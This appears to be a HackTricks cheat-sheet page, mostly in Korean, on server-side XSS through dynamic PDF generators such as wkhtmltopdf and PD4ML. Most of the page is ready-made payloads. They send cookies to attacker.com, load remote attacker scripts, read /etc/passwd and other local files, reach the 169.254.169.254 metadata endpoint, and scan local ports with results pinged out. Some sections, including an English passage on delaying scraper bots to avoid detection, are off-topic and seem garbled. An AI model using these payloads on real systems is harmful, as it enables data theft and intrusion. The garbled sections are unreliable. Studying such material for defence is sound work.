Server Side XSS (Dynamic PDF)

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

서버 측 XSS (동적 PDF)

웹 페이지가 사용자 제어 입력을 사용하여 PDF를 생성하는 경우, PDF를 생성하는 봇을 속이기 위해 임의의 JS 코드를 실행하도록 할 수 있습니다. 따라서, PDF 생성 봇이 어떤 종류의 HTML 태그를 찾으면, 해당 태그를 해석하고, 이 동작을 악용하여 서버 XSS를 유발할 수 있습니다.

<script></script> 태그가 항상 작동하지 않는다는 점에 유의하십시오. 따라서 JS를 실행하기 위해 다른 방법이 필요할 수 있습니다 (예: <img를 악용). 또한, 일반적인 공격에서는 생성된 PDF를 볼 수 있거나 다운로드할 수 있으므로 JS를 통해 작성한 내용을 모두 볼 수 있습니다 (document.write()를 사용하는 예). 그러나 생성된 PDF를 볼 수 없는 경우, 웹 요청을 통해 정보를 추출해야 할 수도 있습니다 (블라인드).

인기있는 PDF 생성 도구

  • wkhtmltopdf는 HTML과 CSS를 PDF 문서로 변환하는 능력으로 알려져 있으며, WebKit 렌더링 엔진을 활용합니다. 이 도구는 오픈 소스 명령 줄 유틸리티로 제공되어 다양한 응용 프로그램에서 사용할 수 있습니다.

  • TCPDF는 PHP 생태계 내에서 PDF 생성을 위한 강력한 솔루션을 제공합니다. 이미지, 그래픽 및 암호화를 처리할 수 있으며, 복잡한 문서 생성에 대한 다양성을 보여줍니다.

  • Node.js 환경에서 작업하는 경우, PDFKit은 유용한 옵션입니다. HTML과 CSS에서 직접 PDF 문서를 생성할 수 있으며, 웹 콘텐츠와 인쇄 가능한 형식 간의 연결을 제공합니다.

  • Java 개발자는 iText를 선호할 수 있습니다. 이 라이브러리는 PDF 생성뿐만 아니라 디지털 서명 및 양식 작성과 같은 고급 기능도 지원합니다. 포괄적인 기능 세트로 안전하고 대화형 문서를 생성하기에 적합합니다.

  • FPDF는 다른 기능을 필요로하지 않는 간단한 접근 방식으로 PDF 생성을 위한 PHP 라이브러리입니다.

페이로드

발견

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

다음 중 이전 또는 다음 페이로드 중 하나를 이 SVG 페이로드 내에서 사용할 수 있습니다. Burpcollab 하위 도메인에 접근하는 iframe과 메타데이터 엔드포인트에 접근하는 또 다른 iframe이 예시로 제공됩니다.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

당신은 https://github.com/allanlw/svg-cheatsheet에서 다른 SVG 페이로드를 많이 찾을 수 있습니다.

경로 노출

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

외부 스크립트 로드

이 취약점을 악용하는 가장 안전한 방법은 취약점을 이용하여 로봇이 로컬에서 제어하는 스크립트를 로드하도록 하는 것입니다. 그런 다음, 로컬에서 페이로드를 변경하고 로봇이 매번 동일한 코드로 로드하도록 할 수 있습니다.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

로컬 파일 읽기 / SSRF

예를 들어 file:///etc/passwd 대신에 http://169.254.169.254/latest/user-data와 같이 외부 웹 페이지에 접근해보기 위해 SSRF를 시도하려면 변경하세요.

SSRF가 허용되지만, 흥미로운 도메인이나 IP에 접근할 수 없는 경우, 잠재적인 우회 방법을 확인하기 위해 이 페이지를 확인하세요.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

봇 지연

Sometimes, when performing web scraping or automated tasks, it is necessary to introduce delays in order to mimic human behavior and avoid detection. This is known as bot delay. By adding delays between requests, you can make your bot appear more natural and reduce the chances of being blocked or flagged as suspicious.

In Python, you can use the time.sleep() function to introduce delays. This function takes a number of seconds as an argument and pauses the execution of the program for that amount of time. For example, time.sleep(5) will pause the program for 5 seconds.

It is important to note that the length of the delay should be carefully chosen. Too short of a delay may still raise suspicion, while too long of a delay may significantly slow down your scraping or automation process. Finding the right balance is key.

Here is an example of how you can implement a bot delay in your Python code:

import time

# Perform some actions
# ...

# Introduce a delay of 3 seconds
time.sleep(3)

# Continue with the next actions
# ...

Remember to adjust the delay according to your specific use case and the website's behavior. By incorporating bot delays, you can enhance the stealthiness and effectiveness of your automated tasks.

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

포트 스캔

포트 스캔은 시스템의 네트워크 포트를 검사하여 열려 있는 포트를 식별하는 과정입니다. 이를 통해 시스템의 취약점을 파악하고 보안 조치를 취할 수 있습니다. 포트 스캔은 다양한 방법으로 수행될 수 있으며, 일반적으로 네트워크 스캐너 도구를 사용하여 수행됩니다. 이러한 도구는 TCP 또는 UDP 포트를 스캔하여 응답을 확인하고, 열려 있는 포트를 식별합니다. 포트 스캔은 해커가 시스템에 침투하기 전에 시스템의 취약점을 알아내는 데 사용될 수 있습니다.

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

이 취약점은 매우 쉽게 SSRF로 변환될 수 있습니다 (스크립트가 외부 리소스를 로드할 수 있기 때문에). 그러니 이를 악용해보세요 (일부 메타데이터를 읽을 수 있을까요?).

첨부 파일: PD4ML

PD4ML과 같은 몇 가지 HTML 2 PDF 엔진은 PDF에 첨부 파일을 지정할 수 있도록 허용합니다. 이 기능을 악용하여 PDF에 로컬 파일을 첨부할 수 있습니다. 첨부 파일을 열기 위해 Firefox에서 파일을 열고, 종이 클립 아이콘을 두 번 클릭하여 첨부 파일을 새 파일로 저장했습니다. 버프(Burp)를 사용하여 PDF 응답을 캡처하면 PDF 내에서 첨부 파일이 명확한 텍스트로 표시됩니다.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated